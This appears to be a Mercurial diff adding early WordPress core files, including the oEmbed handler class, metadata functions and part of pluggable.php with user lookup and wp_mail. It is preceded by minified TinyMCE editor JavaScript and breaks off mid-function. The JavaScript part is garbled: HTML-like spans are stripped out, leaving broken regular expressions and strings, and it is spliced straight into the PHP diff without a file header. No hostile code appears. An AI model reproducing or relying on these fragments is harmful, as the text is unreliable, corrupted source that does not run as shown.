    ")}j=j.replace(/]+|)>([\s\S]*?)<\/noscript>/g,function(h,p,o){return""+i.dom.decode(o.replace(//g,""))+""})}n.content=j},_serializeNode:function(D,o){var z=this,A=z.settings,x=z.writer,q,j,u,F,E,G,B,h,y,k,r,C,p,m;if(!A.node_filter||A.node_filter(D)){switch(D.nodeType){case 1:if(D.hasAttribute?D.hasAttribute("mce_bogus"):D.getAttribute("mce_bogus")){return}p=false;q=D.hasChildNodes();k=D.getAttribute("mce_name")||D.nodeName.toLowerCase();if(d){if(D.scopeName!=="HTML"&&D.scopeName!=="html"){k=D.scopeName+":"+k}}if(k.indexOf("mce:")===0){k=k.substring(4)}if(!z.validElementsRE||!z.validElementsRE.test(k)||(z.invalidElementsRE&&z.invalidElementsRE.test(k))||o){p=true;break}if(d){if(A.fix_content_duplication){if(D.mce_serialized==z.key){return}D.mce_serialized=z.key}if(k.charAt(0)=="/"){k=k.substring(1)}}else{if(a){if(D.nodeName==="BR"&&D.getAttribute("type")=="_moz"){return}}}if(z.childRules){if(z.parentElementsRE.test(z.elementName)){if(!z.childRules[z.elementName].test(k)){p=true;break}}z.elementName=k}r=z.findRule(k);k=r.name||k;m=A.closed.test(k);if((!q&&r.noEmpty)||(d&&!k)){p=true;break}if(r.requiredAttribs){G=r.requiredAttribs;for(F=G.length-1;F>=0;F--){if(this.dom.getAttrib(D,G[F])!==""){break}}if(F==-1){p=true;break}}x.writeStartElement(k);if(r.attribs){for(F=0,B=r.attribs,E=B.length;F-1;F--){h=B[F];if(h.specified){G=h.nodeName.toLowerCase();if(A.invalid_attrs.test(G)||!r.validAttribsRE.test(G)){continue}C=z.findAttribRule(r,G);y=z._getAttrib(D,C,G);if(y!==null){x.writeAttribute(G,y)}}}}if(k==="script"&&e.trim(D.innerHTML)){x.writeText("// ");x.writeCDATA(D.innerHTML.replace(/|<\[CDATA\[|\]\]>/g,""));q=false;break}if(r.padd){if(q&&(u=D.firstChild)&&u.nodeType===1&&D.childNodes.length===1){if(u.hasAttribute?u.hasAttribute("mce_bogus"):u.getAttribute("mce_bogus")){x.writeText("\u00a0")}}else{if(!q){x.writeText("\u00a0")}}}break;case 3:if(z.childRules&&z.parentElementsRE.test(z.elementName)){if(!z.childRules[z.elementName].test(D.nodeName)){return}}return x.writeText(D.nodeValue);case 4:return x.writeCDATA(D.nodeValue);case 8:return x.writeComment(D.nodeValue)}}else{if(D.nodeType==1){q=D.hasChildNodes()}}if(q&&!m){u=D.firstChild;while(u){z._serializeNode(u);z.elementName=k;u=u.nextSibling}}if(!p){if(!m){x.writeFullEndElement()}else{x.writeEndElement()}}},_protect:function(j){var i=this;j.items=j.items||[];function h(l){return l.replace(/[\r\n\\]/g,function(m){if(m==="\n"){return"\\n"}else{if(m==="\\"){return"\\\\"}}return"\\r"})}function k(l){return l.replace(/\\[\\rn]/g,function(m){if(m==="\\n"){return"\n"}else{if(m==="\\\\"){return"\\"}}return"\r"})}f(j.patterns,function(l){j.content=k(h(j.content).replace(l.pattern,function(n,o,m,p){m=k(m);if(l.encode){m=i._encode(m)}j.items.push(m);return o+""+p}))});return j},_unprotect:function(i,j){i=i.replace(/\"))}if(a&&j.ListBox){if(a.Button||a.SplitButton){e+=b.createHTML("td",{"class":"mceToolbarEnd"},b.createHTML("span",null,""))}}if(b.stdMode){e+=''+j.renderHTML()+""}else{e+=""+j.renderHTML()+""}if(f&&j.ListBox){if(f.Button||f.SplitButton){e+=b.createHTML("td",{"class":"mceToolbarStart"},b.createHTML("span",null,""))}}}g="mceToolbarEnd";if(j.Button){g+=" mceToolbarEndButton"}else{if(j.SplitButton){g+=" mceToolbarEndSplitButton"}else{if(j.ListBox){g+=" mceToolbarEndListBox"}}}e+=b.createHTML("td",{"class":g},b.createHTML("span",null,""));return b.createHTML("table",{id:l.id,"class":"mceToolbar"+(m["class"]?" "+m["class"]:""),cellpadding:"0",cellspacing:"0",align:l.settings.align||""},""+e+"")}});(function(b){var a=b.util.Dispatcher,c=b.each;b.create("tinymce.AddOnManager",{items:[],urls:{},lookup:{},onAdd:new a(this),get:function(d){return this.lookup[d]},requireLangPack:function(f){var d,e=b.EditorManager.settings;if(e&&e.language){d=this.urls[f]+"/langs/"+e.language+".js";if(!b.dom.Event.domLoaded&&!e.strict_mode){b.ScriptLoader.load(d)}else{b.ScriptLoader.add(d)}}},add:function(e,d){this.items.push(d);this.lookup[e]=d;this.onAdd.dispatch(this,e,d);return d},load:function(h,e,d,g){var f=this;if(f.urls[h]){return}if(e.indexOf("/")!=0&&e.indexOf("://")==-1){e=b.baseURL+"/"+e}f.urls[h]=e.substring(0,e.lastIndexOf("/"));b.ScriptLoader.add(e,d,g)}});b.PluginManager=new b.AddOnManager();b.ThemeManager=new b.AddOnManager()}(tinymce));(function(f){var g=f.each,h=f.extend,e=f.DOM,a=f.dom.Event,c=f.ThemeManager,b=f.PluginManager,d=f.explode;f.create("static tinymce.EditorManager",{editors:{},i18n:{},activeEditor:null,preInit:function(){var i=this,j=window.location;f.documentBaseURL=j.href.replace(/[\?#].*$/,"").replace(/[\/\\][^\/]+$/,"");if(!/[\/\\]$/.test(f.documentBaseURL)){f.documentBaseURL+="/"}f.baseURL=new f.util.URI(f.documentBaseURL).toAbsolute(f.baseURL);f.EditorManager.baseURI=new f.util.URI(f.baseURL);i.onBeforeUnload=new f.util.Dispatcher(i);a.add(window,"beforeunload",function(k){i.onBeforeUnload.dispatch(i,k)})},init:function(q){var p=this,l,k=f.ScriptLoader,o,n,i=[],m;function j(u,v,r){var t=u[v];if(!t){return}if(f.is(t,"string")){r=t.replace(/\.\w+$/,"");r=r?f.resolve(r):0;t=f.resolve(t)}return t.apply(r||this,Array.prototype.slice.call(arguments,2))}q=h({theme:"simple",language:"en",strict_loading_mode:document.contentType=="application/xhtml+xml"},q);p.settings=q;if(!a.domLoaded&&!q.strict_loading_mode){if(q.language){k.add(f.baseURL+"/langs/"+q.language+".js")}if(q.theme&&q.theme.charAt(0)!="-"&&!c.urls[q.theme]){c.load(q.theme,"themes/"+q.theme+"/editor_template"+f.suffix+".js")}if(q.plugins){l=d(q.plugins);g(l,function(r){if(r&&r.charAt(0)!="-"&&!b.urls[r]){if(!f.isWebKit&&r=="safari"){return}b.load(r,"plugins/"+r+"/editor_plugin"+f.suffix+".js")}})}k.loadQueue()}a.add(document,"init",function(){var r,t;j(q,"onpageload");if(q.browsers){r=false;g(d(q.browsers),function(u){switch(u){case"ie":case"msie":if(f.isIE){r=true}break;case"gecko":if(f.isGecko){r=true}break;case"safari":case"webkit":if(f.isWebKit){r=true}break;case"opera":if(f.isOpera){r=true}break}});if(!r){return}}switch(q.mode){case"exact":r=q.elements||"";if(r.length>0){g(d(r),function(u){if(e.get(u)){m=new f.Editor(u,q);i.push(m);m.render(1)}else{o=0;g(document.forms,function(v){g(v.elements,function(w){if(w.name===u){u="mce_editor_"+o;e.setAttrib(w,"id",u);m=new f.Editor(u,q);i.push(m);m.render(1)}})})}})}break;case"textareas":case"specific_textareas":function s(v,u){return u.constructor===RegExp?u.test(v.className):e.hasClass(v,u)}g(e.select("textarea"),function(u){if(q.editor_deselector&&s(u,q.editor_deselector)){return}if(!q.editor_selector||s(u,q.editor_selector)){n=e.get(u.name);if(!u.id&&!n){u.id=u.name}if(!u.id||p.get(u.id)){u.id=e.uniqueId()}m=new f.Editor(u.id,q);i.push(m);m.render(1)}});break}if(q.oninit){r=t=0;g(i,function(u){t++;if(!u.initialized){u.onInit.add(function(){r++;if(r==t){j(q,"oninit")}})}else{r++}if(r==t){j(q,"oninit")}})}})},get:function(i){return this.editors[i]},getInstanceById:function(i){return this.get(i)},add:function(i){this.editors[i.id]=i;this._setActive(i);return i},remove:function(j){var i=this;if(!i.editors[j.id]){return null}delete i.editors[j.id];if(i.activeEditor==j){i._setActive(null);g(i.editors,function(k){i._setActive(k);return false})}j.destroy();return j},execCommand:function(o,m,l){var n=this,k=n.get(l),i;switch(o){case"mceFocus":k.focus();return true;case"mceAddEditor":case"mceAddControl":if(!n.get(l)){new f.Editor(l,n.settings).render()}return true;case"mceAddFrameControl":i=l.window;i.tinyMCE=tinyMCE;i.tinymce=f;f.DOM.doc=i.document;f.DOM.win=i;k=new f.Editor(l.element_id,l);k.render();if(f.isIE){function j(){k.destroy();i.detachEvent("onunload",j);i=i.tinyMCE=i.tinymce=null}i.attachEvent("onunload",j)}l.page_window=null;return true;case"mceRemoveEditor":case"mceRemoveControl":if(k){k.remove()}return true;case"mceToggleEditor":if(!k){n.execCommand("mceAddControl",0,l);return true}if(k.isHidden()){k.show()}else{k.hide()}return true}if(n.activeEditor){return n.activeEditor.execCommand(o,m,l)}return false},execInstanceCommand:function(m,l,k,j){var i=this.get(m);if(i){return i.execCommand(l,k,j)}return false},triggerSave:function(){g(this.editors,function(i){i.save()})},addI18n:function(k,l){var i,j=this.i18n;if(!f.is(k,"string")){g(k,function(n,m){g(n,function(q,p){g(q,function(s,r){if(p==="common"){j[m+"."+r]=s}else{j[m+"."+p+"."+r]=s}})})})}else{g(l,function(n,m){j[k+"."+m]=n})}},_setActive:function(i){this.selectedInstance=this.activeEditor=i}});f.EditorManager.preInit()})(tinymce);var tinyMCE=window.tinyMCE=tinymce.EditorManager;(function(n){var o=n.DOM,k=n.dom.Event,f=n.extend,l=n.util.Dispatcher;var j=n.each,a=n.isGecko,b=n.isIE,e=n.isWebKit;var d=n.is,h=n.ThemeManager,c=n.PluginManager,i=n.EditorManager;var p=n.inArray,m=n.grep,g=n.explode;n.create("tinymce.Editor",{Editor:function(u,r){var q=this;q.id=q.editorId=u;q.execCommands={};q.queryStateCommands={};q.queryValueCommands={};q.isNotDirty=false;q.plugins={};j(["onPreInit","onBeforeRenderUI","onPostRender","onInit","onRemove","onActivate","onDeactivate","onClick","onEvent","onMouseUp","onMouseDown","onDblClick","onKeyDown","onKeyUp","onKeyPress","onContextMenu","onSubmit","onReset","onPaste","onPreProcess","onPostProcess","onBeforeSetContent","onBeforeGetContent","onSetContent","onGetContent","onLoadContent","onSaveContent","onNodeChange","onChange","onBeforeExecCommand","onExecCommand","onUndo","onRedo","onVisualAid","onSetProgressState"],function(s){q[s]=new l(q)});q.settings=r=f({id:u,language:"en",docs_language:"en",theme:"simple",skin:"default",delta_width:0,delta_height:0,popup_css:"",plugins:"",document_base_url:n.documentBaseURL,add_form_submit_trigger:1,submit_patch:1,add_unload_trigger:1,convert_urls:1,relative_urls:1,remove_script_host:1,table_inline_editing:0,object_resizing:1,cleanup:1,accessibility_focus:1,custom_shortcuts:1,custom_undo_redo_keyboard_shortcuts:1,custom_undo_redo_restore_selection:1,custom_undo_redo:1,doctype:'',visual_table_class:"mceItemTable",visual:1,inline_styles:true,convert_fonts_to_spans:true,font_size_style_values:"xx-small,x-small,small,medium,large,x-large,xx-large",apply_source_formatting:1,directionality:"ltr",forced_root_block:"p",valid_elements:"@[id|class|style|title|dir';if(G.document_base_url!=n.documentBaseURL){F.iframeHTML+=''}F.iframeHTML+='';if(n.relaxedDomain){F.iframeHTML+=' +handlers[$priority][$id] = array( + 'regex' => $regex, + 'callback' => $callback, + ); + } + + /** + * Unregister a previously registered embed handler. Do not use this function directly, use {@link wp_embed_unregister_handler()} instead. + * + * @param string $id The handler ID that should be removed. + * @param int $priority Optional. The priority of the handler to be removed (default: 10). + */ + function unregister_handler( $id, $priority = 10 ) { + if ( isset($this->handlers[$priority][$id]) ) + unset($this->handlers[$priority][$id]); + } + + /** + * The {@link do_shortcode()} callback function. + * + * Attempts to convert a URL into embed HTML. Starts by checking the URL against the regex of the registered embed handlers. + * If none of the regex matches and it's enabled, then the URL will be given to the {@link WP_oEmbed} class. + * + * @uses wp_oembed_get() + * @uses wp_parse_args() + * @uses wp_embed_defaults() + * @uses WP_Embed::maybe_make_link() + * @uses get_option() + * @uses current_user_can() + * @uses wp_cache_get() + * @uses wp_cache_set() + * @uses get_post_meta() + * @uses update_post_meta() + * + * @param array $attr Shortcode attributes. + * @param string $url The URL attempting to be embeded. + * @return string The embed HTML on success, otherwise the original URL. + */ + function shortcode( $attr, $url = '' ) { + global $post; + + if ( empty($url) ) + return ''; + + $rawattr = $attr; + $attr = wp_parse_args( $attr, wp_embed_defaults() ); + + // Look for known internal handlers + ksort( $this->handlers ); + foreach ( $this->handlers as $priority => $handlers ) { + foreach ( $handlers as $id => $handler ) { + if ( preg_match( $handler['regex'], $url, $matches ) && is_callable( $handler['callback'] ) ) { + if ( false !== $return = call_user_func( $handler['callback'], $matches, $attr, $url, $rawattr ) ) + return apply_filters( 'embed_handler_html', $return, $url, $attr ); + } + } + } + + $post_ID = ( !empty($post->ID) ) ? $post->ID : null; + if ( !empty($this->post_ID) ) // Potentially set by WP_Embed::cache_oembed() + $post_ID = $this->post_ID; + + // Unknown URL format. Let oEmbed have a go. + if ( $post_ID ) { + + // Check for a cached result (stored in the post meta) + $cachekey = '_oembed_' . md5( $url . serialize( $attr ) ); + if ( $this->usecache ) { + $cache = get_post_meta( $post_ID, $cachekey, true ); + + // Failures are cached + if ( '{{unknown}}' === $cache ) + return $this->maybe_make_link( $url ); + + if ( !empty($cache) ) + return apply_filters( 'embed_oembed_html', $cache, $url, $attr ); + } + + // Use oEmbed to get the HTML + $attr['discover'] = ( apply_filters('embed_oembed_discover', false) && author_can( $post_ID, 'unfiltered_html' ) ) ? true : false; + $html = wp_oembed_get( $url, $attr ); + + // Cache the result + $cache = ( $html ) ? $html : '{{unknown}}'; + update_post_meta( $post_ID, $cachekey, $cache ); + + // If there was a result, return it + if ( $html ) + return apply_filters( 'embed_oembed_html', $html, $url, $attr ); + } + + // Still unknown + return $this->maybe_make_link( $url ); + } + + /** + * Delete all oEmbed caches. + * + * @param int $post_ID Post ID to delete the caches for. + */ + function delete_oembed_caches( $post_ID ) { + $post_metas = get_post_custom_keys( $post_ID ); + if ( empty($post_metas) ) + return; + + foreach( $post_metas as $post_meta_key ) { + if ( '_oembed_' == substr( $post_meta_key, 0, 8 ) ) + delete_post_meta( $post_ID, $post_meta_key ); + } + } + + /** + * Triggers a caching of all oEmbed results. + * + * @param int $post_ID Post ID to do the caching for. + */ + function cache_oembed( $post_ID ) { + $post = get_post( $post_ID ); + + if ( empty($post->ID) || !in_array( $post->post_type, apply_filters( 'embed_cache_oembed_types', array( 'post', 'page' ) ) ) ) + return; + + // Trigger a caching + if ( !empty($post->post_content) ) { + $this->post_ID = $post->ID; + $this->usecache = false; + + $content = $this->run_shortcode( $post->post_content ); + if ( get_option('embed_autourls') ) + $this->autoembed( $content ); + + $this->usecache = true; + } + } + + /** + * Passes any unlinked URLs that are on their own line to {@link WP_Embed::shortcode()} for potential embedding. + * + * @uses WP_Embed::autoembed_callback() + * + * @param string $content The content to be searched. + * @return string Potentially modified $content. + */ + function autoembed( $content ) { + return preg_replace_callback( '|^\s*(https?://[^\s"]+)\s*$|im', array(&$this, 'autoembed_callback'), $content ); + } + + /** + * Callback function for {@link WP_Embed::autoembed()}. + * + * @uses WP_Embed::shortcode() + * + * @param array $match A regex match array. + * @return string The embed HTML on success, otherwise the original URL. + */ + function autoembed_callback( $match ) { + $oldval = $this->linkifunknown; + $this->linkifunknown = false; + $return = $this->shortcode( array(), $match[1] ); + $this->linkifunknown = $oldval; + + return "\n$return\n"; + } + + /** + * Conditionally makes a hyperlink based on an internal class variable. + * + * @param string $url URL to potentially be linked. + * @return string Linked URL or the original URL. + */ + function maybe_make_link( $url ) { + $output = ( $this->linkifunknown ) ? '' . esc_html($url) . '' : $url; + return apply_filters( 'embed_maybe_make_link', $output, $url ); + } +} +$wp_embed = new WP_Embed(); + +/** + * Register an embed handler. This function should probably only be used for sites that do not support oEmbed. + * + * @since 2.9.0 + * @see WP_Embed::register_handler() + */ +function wp_embed_register_handler( $id, $regex, $callback, $priority = 10 ) { + global $wp_embed; + $wp_embed->register_handler( $id, $regex, $callback, $priority ); +} + +/** + * Unregister a previously registered embed handler. + * + * @since 2.9.0 + * @see WP_Embed::unregister_handler() + */ +function wp_embed_unregister_handler( $id, $priority = 10 ) { + global $wp_embed; + $wp_embed->unregister_handler( $id, $priority ); +} + +/** + * Create default array of embed parameters. + * + * @since 2.9.0 + * + * @return array Default embed parameters. + */ +function wp_embed_defaults() { + if ( !empty($GLOBALS['content_width']) ) + $theme_width = (int) $GLOBALS['content_width']; + + $width = get_option('embed_size_w'); + + if ( !$width && !empty($theme_width) ) + $width = $theme_width; + + if ( !$width ) + $width = 500; + + return apply_filters( 'embed_defaults', array( + 'width' => $width, + 'height' => 700, + ) ); +} + +/** + * Based on a supplied width/height example, return the biggest possible dimensions based on the max width/height. + * + * @since 2.9.0 + * @uses wp_constrain_dimensions() This function passes the widths and the heights. + * + * @param int $example_width The width of an example embed. + * @param int $example_height The height of an example embed. + * @param int $max_width The maximum allowed width. + * @param int $max_height The maximum allowed height. + * @return array The maximum possible width and height based on the example ratio. + */ +function wp_expand_dimensions( $example_width, $example_height, $max_width, $max_height ) { + $example_width = (int) $example_width; + $example_height = (int) $example_height; + $max_width = (int) $max_width; + $max_height = (int) $max_height; + + return wp_constrain_dimensions( $example_width * 1000000, $example_height * 1000000, $max_width, $max_height ); +} + +/** + * Attempts to fetch the embed HTML for a provided URL using oEmbed. + * + * @since 2.9.0 + * @see WP_oEmbed + * + * @uses _wp_oembed_get_object() + * @uses WP_oEmbed::get_html() + * + * @param string $url The URL that should be embeded. + * @param array $args Addtional arguments and parameters. + * @return string The original URL on failure or the embed HTML on success. + */ +function wp_oembed_get( $url, $args = '' ) { + require_once( 'class-oembed.php' ); + $oembed = _wp_oembed_get_object(); + return $oembed->get_html( $url, $args ); +} + +/** + * Adds a URL format and oEmbed provider URL pair. + * + * @since 2.9.0 + * @see WP_oEmbed + * + * @uses _wp_oembed_get_object() + * + * @param string $format The format of URL that this provider can handle. You can use asterisks as wildcards. + * @param string $provider The URL to the oEmbed provider. + * @param boolean $regex Whether the $format parameter is in a regex format or not. + */ +function wp_oembed_add_provider( $format, $provider, $regex = false ) { + require_once( 'class-oembed.php' ); + $oembed = _wp_oembed_get_object(); + $oembed->providers[$format] = array( $provider, $regex ); +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/meta.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/meta.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,225 @@ +get_var( $wpdb->prepare( + "SELECT COUNT(*) FROM $table WHERE meta_key = %s AND $column = %d", + $meta_key, $object_id ) ) ) + return false; + + $meta_value = maybe_serialize( stripslashes_deep($meta_value) ); + + $wpdb->insert( $table, array( + $column => $object_id, + 'meta_key' => $meta_key, + 'meta_value' => $meta_value + ) ); + + wp_cache_delete($object_id, $meta_type . '_meta'); + + do_action( "added_{$meta_type}_meta", $wpdb->insert_id, $object_id, $meta_key, $meta_value ); + + return true; +} + +function update_metadata($meta_type, $object_id, $meta_key, $meta_value, $prev_value = '') { + if ( !$meta_type || !$meta_key ) + return false; + + if ( ! $table = _get_meta_table($meta_type) ) + return false; + + global $wpdb; + + $column = esc_sql($meta_type . '_id'); + $id_column = 'user' == $meta_type ? 'umeta_id' : 'meta_id'; + + // expected_slashed ($meta_key) + $meta_key = stripslashes($meta_key); + + if ( ! $meta_id = $wpdb->get_var( $wpdb->prepare( "SELECT $id_column FROM $table WHERE meta_key = %s AND $column = %d", $meta_key, $object_id ) ) ) + return add_metadata($meta_type, $object_id, $meta_key, $meta_value); + + $meta_value = maybe_serialize( stripslashes_deep($meta_value) ); + + $data = compact( 'meta_value' ); + $where = array( $column => $object_id, 'meta_key' => $meta_key ); + + if ( !empty( $prev_value ) ) { + $prev_value = maybe_serialize($prev_value); + $where['meta_value'] = $prev_value; + } + + do_action( "update_{$meta_type}_meta", $meta_id, $object_id, $meta_key, $meta_value ); + + $wpdb->update( $table, $data, $where ); + wp_cache_delete($object_id, $meta_type . '_meta'); + + do_action( "updated_{$meta_type}_meta", $meta_id, $object_id, $meta_key, $meta_value ); + + return true; +} + +function delete_metadata($meta_type, $object_id, $meta_key, $meta_value = '', $delete_all = false) { + if ( !$meta_type || !$meta_key || (!$delete_all && ! (int)$object_id) ) + return false; + + if ( ! $table = _get_meta_table($meta_type) ) + return false; + + global $wpdb; + + $type_column = esc_sql($meta_type . '_id'); + $id_column = 'user' == $meta_type ? 'umeta_id' : 'meta_id'; + // expected_slashed ($meta_key) + $meta_key = stripslashes($meta_key); + $meta_value = maybe_serialize( stripslashes_deep($meta_value) ); + + $query = $wpdb->prepare( "SELECT $id_column FROM $table WHERE meta_key = %s", $meta_key ); + + if ( !$delete_all ) + $query .= $wpdb->prepare(" AND $type_column = %d", $object_id ); + + if ( $meta_value ) + $query .= $wpdb->prepare(" AND meta_value = %s", $meta_value ); + + $meta_ids = $wpdb->get_col( $query ); + if ( !count( $meta_ids ) ) + return false; + + $query = "DELETE FROM $table WHERE $id_column IN( " . implode( ',', $meta_ids ) . " )"; + + $count = $wpdb->query($query); + + if ( !$count ) + return false; + + wp_cache_delete($object_id, $meta_type . '_meta'); + + do_action( "deleted_{$meta_type}_meta", $meta_ids, $object_id, $meta_key, $meta_value ); + + return true; +} + +function get_metadata($meta_type, $object_id, $meta_key = '', $single = false) { + if ( !$meta_type ) + return false; + + $meta_cache = wp_cache_get($object_id, $meta_type . '_meta'); + + if ( !$meta_cache ) { + update_meta_cache($meta_type, $object_id); + $meta_cache = wp_cache_get($object_id, $meta_type . '_meta'); + } + + if ( ! $meta_key ) + return $meta_cache; + + if ( isset($meta_cache[$meta_key]) ) { + if ( $single ) { + return maybe_unserialize( $meta_cache[$meta_key][0] ); + } else { + return array_map('maybe_unserialize', $meta_cache[$meta_key]); + } + } + + if ($single) + return ''; + else + return array(); +} + +function update_meta_cache($meta_type, $object_ids) { + if ( empty( $meta_type ) || empty( $object_ids ) ) + return false; + + if ( ! $table = _get_meta_table($meta_type) ) + return false; + + $column = esc_sql($meta_type . '_id'); + + global $wpdb; + + if ( !is_array($object_ids) ) { + $object_ids = preg_replace('|[^0-9,]|', '', $object_ids); + $object_ids = explode(',', $object_ids); + } + + $object_ids = array_map('intval', $object_ids); + + $cache_key = $meta_type . '_meta'; + $ids = array(); + foreach ( $object_ids as $id ) { + if ( false === wp_cache_get($id, $cache_key) ) + $ids[] = $id; + } + + if ( empty( $ids ) ) + return false; + + // Get meta info + $id_list = join(',', $ids); + $cache = array(); + $meta_list = $wpdb->get_results( $wpdb->prepare("SELECT $column, meta_key, meta_value FROM $table WHERE $column IN ($id_list)", + $meta_type), ARRAY_A ); + + if ( !empty($meta_list) ) { + foreach ( $meta_list as $metarow) { + $mpid = intval($metarow[$column]); + $mkey = $metarow['meta_key']; + $mval = $metarow['meta_value']; + + // Force subkeys to be array type: + if ( !isset($cache[$mpid]) || !is_array($cache[$mpid]) ) + $cache[$mpid] = array(); + if ( !isset($cache[$mpid][$mkey]) || !is_array($cache[$mpid][$mkey]) ) + $cache[$mpid][$mkey] = array(); + + // Add a value to the current pid/key: + $cache[$mpid][$mkey][] = $mval; + } + } + + foreach ( $ids as $id ) { + if ( ! isset($cache[$id]) ) + $cache[$id] = array(); + } + + foreach ( array_keys($cache) as $object) + wp_cache_set($object, $cache[$object], $cache_key); + + return $cache; +} + +function _get_meta_table($type) { + global $wpdb; + + $table_name = $type . 'meta'; + + if ( empty($wpdb->$table_name) ) + return false; + + return $wpdb->$table_name; +} +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/pluggable.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/pluggable.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1791 @@ +ID) ) + return $current_user; + + $current_user = new WP_User($id, $name); + + setup_userdata($current_user->ID); + + do_action('set_current_user'); + + return $current_user; +} +endif; + +if ( !function_exists('wp_get_current_user') ) : +/** + * Retrieve the current user object. + * + * @since 2.0.3 + * + * @return WP_User Current user WP_User object + */ +function wp_get_current_user() { + global $current_user; + + get_currentuserinfo(); + + return $current_user; +} +endif; + +if ( !function_exists('get_currentuserinfo') ) : +/** + * Populate global variables with information about the currently logged in user. + * + * Will set the current user, if the current user is not set. The current user + * will be set to the logged in person. If no user is logged in, then it will + * set the current user to 0, which is invalid and won't have any permissions. + * + * @since 0.71 + * @uses $current_user Checks if the current user is set + * @uses wp_validate_auth_cookie() Retrieves current logged in user. + * + * @return bool|null False on XMLRPC Request and invalid auth cookie. Null when current user set + */ +function get_currentuserinfo() { + global $current_user; + + if ( defined('XMLRPC_REQUEST') && XMLRPC_REQUEST ) + return false; + + if ( ! empty($current_user) ) + return; + + if ( ! $user = wp_validate_auth_cookie() ) { + if ( is_admin() || empty($_COOKIE[LOGGED_IN_COOKIE]) || !$user = wp_validate_auth_cookie($_COOKIE[LOGGED_IN_COOKIE], 'logged_in') ) { + wp_set_current_user(0); + return false; + } + } + + wp_set_current_user($user); +} +endif; + +if ( !function_exists('get_userdata') ) : +/** + * Retrieve user info by user ID. + * + * @since 0.71 + * + * @param int $user_id User ID + * @return bool|object False on failure, User DB row object + */ +function get_userdata( $user_id ) { + global $wpdb; + + $user_id = absint($user_id); + if ( $user_id == 0 ) + return false; + + $user = wp_cache_get($user_id, 'users'); + + if ( $user ) + return $user; + + if ( !$user = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->users WHERE ID = %d LIMIT 1", $user_id)) ) + return false; + + _fill_user($user); + + return $user; +} +endif; + +if ( !function_exists('get_user_by') ) : +/** + * Retrieve user info by a given field + * + * @since 2.8.0 + * + * @param string $field The field to retrieve the user with. id | slug | email | login + * @param int|string $value A value for $field. A user ID, slug, email address, or login name. + * @return bool|object False on failure, User DB row object + */ +function get_user_by($field, $value) { + global $wpdb; + + switch ($field) { + case 'id': + return get_userdata($value); + break; + case 'slug': + $user_id = wp_cache_get($value, 'userslugs'); + $field = 'user_nicename'; + break; + case 'email': + $user_id = wp_cache_get($value, 'useremail'); + $field = 'user_email'; + break; + case 'login': + $value = sanitize_user( $value ); + $user_id = wp_cache_get($value, 'userlogins'); + $field = 'user_login'; + break; + default: + return false; + } + + if ( false !== $user_id ) + return get_userdata($user_id); + + if ( !$user = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->users WHERE $field = %s", $value) ) ) + return false; + + _fill_user($user); + + return $user; +} +endif; + +if ( !function_exists('get_userdatabylogin') ) : +/** + * Retrieve user info by login name. + * + * @since 0.71 + * + * @param string $user_login User's username + * @return bool|object False on failure, User DB row object + */ +function get_userdatabylogin($user_login) { + return get_user_by('login', $user_login); +} +endif; + +if ( !function_exists('get_user_by_email') ) : +/** + * Retrieve user info by email. + * + * @since 2.5 + * + * @param string $email User's email address + * @return bool|object False on failure, User DB row object + */ +function get_user_by_email($email) { + return get_user_by('email', $email); +} +endif; + +if ( !function_exists( 'wp_mail' ) ) : +/** + * Send mail, similar to PHP's mail + * + * A true return value does not automatically mean that the user received the + * email successfully. It just only means that the method used was able to + * process the request without any errors. + * + * Using the two 'wp_mail_from' and 'wp_mail_from_name' hooks allow from + * creating a from address like 'Name ' when both are set. If + * just 'wp_mail_from' is set, then just the email address will be used with no + * name. + * + * The default content type is 'text/plain' which does not allow using HTML. + * However, you can set the content type of the email by using the + * 'wp_mail_content_type' filter. + * + * The default charset is based on the charset used on the blog. The charset can + * be set using the 'wp_mail_charset' filter. + * + * @since 1.2.1 + * @uses apply_filters() Calls 'wp_mail' hook on an array of all of the parameters. + * @uses apply_filters() Calls 'wp_mail_from' hook to get the from email address. + * @uses apply_filters() Calls 'wp_mail_from_name' hook to get the from address name. + * @uses apply_filters() Calls 'wp_mail_content_type' hook to get the email content type. + * @uses apply_filters() Calls 'wp_mail_charset' hook to get the email charset + * @uses do_action_ref_array() Calls 'phpmailer_init' hook on the reference to + * phpmailer object. + * @uses PHPMailer + * @ + * + * @param string $to Email address to send message + * @param string $subject Email subject + * @param string $message Message contents + * @param string|array $headers Optional. Additional headers. + * @param string|array $attachments Optional. Files to attach. + * @return bool Whether the email contents were sent successfully. + */ +function wp_mail( $to, $subject, $message, $headers = '', $attachments = array() ) { + // Compact the input, apply the filters, and extract them back out + extract( apply_filters( 'wp_mail', compact( 'to', 'subject', 'message', 'headers', 'attachments' ) ) ); + + if ( !is_array($attachments) ) + $attachments = explode( "\n", $attachments ); + + global $phpmailer; + + // (Re)create it, if it's gone missing + if ( !is_object( $phpmailer ) || !is_a( $phpmailer, 'PHPMailer' ) ) { + require_once ABSPATH . WPINC . '/class-phpmailer.php'; + require_once ABSPATH . WPINC . '/class-smtp.php'; + $phpmailer = new PHPMailer(); + } + + // Headers + if ( empty( $headers ) ) { + $headers = array(); + } else { + if ( !is_array( $headers ) ) { + // Explode the headers out, so this function can take both + // string headers and an array of headers. + $tempheaders = (array) explode( "\n", $headers ); + } else { + $tempheaders = $headers; + } + $headers = array(); + + // If it's actually got contents + if ( !empty( $tempheaders ) ) { + // Iterate through the raw headers + foreach ( (array) $tempheaders as $header ) { + if ( strpos($header, ':') === false ) { + if ( false !== stripos( $header, 'boundary=' ) ) { + $parts = preg_split('/boundary=/i', trim( $header ) ); + $boundary = trim( str_replace( array( "'", '"' ), '', $parts[1] ) ); + } + continue; + } + // Explode them out + list( $name, $content ) = explode( ':', trim( $header ), 2 ); + + // Cleanup crew + $name = trim( $name ); + $content = trim( $content ); + + // Mainly for legacy -- process a From: header if it's there + if ( 'from' == strtolower($name) ) { + if ( strpos($content, '<' ) !== false ) { + // So... making my life hard again? + $from_name = substr( $content, 0, strpos( $content, '<' ) - 1 ); + $from_name = str_replace( '"', '', $from_name ); + $from_name = trim( $from_name ); + + $from_email = substr( $content, strpos( $content, '<' ) + 1 ); + $from_email = 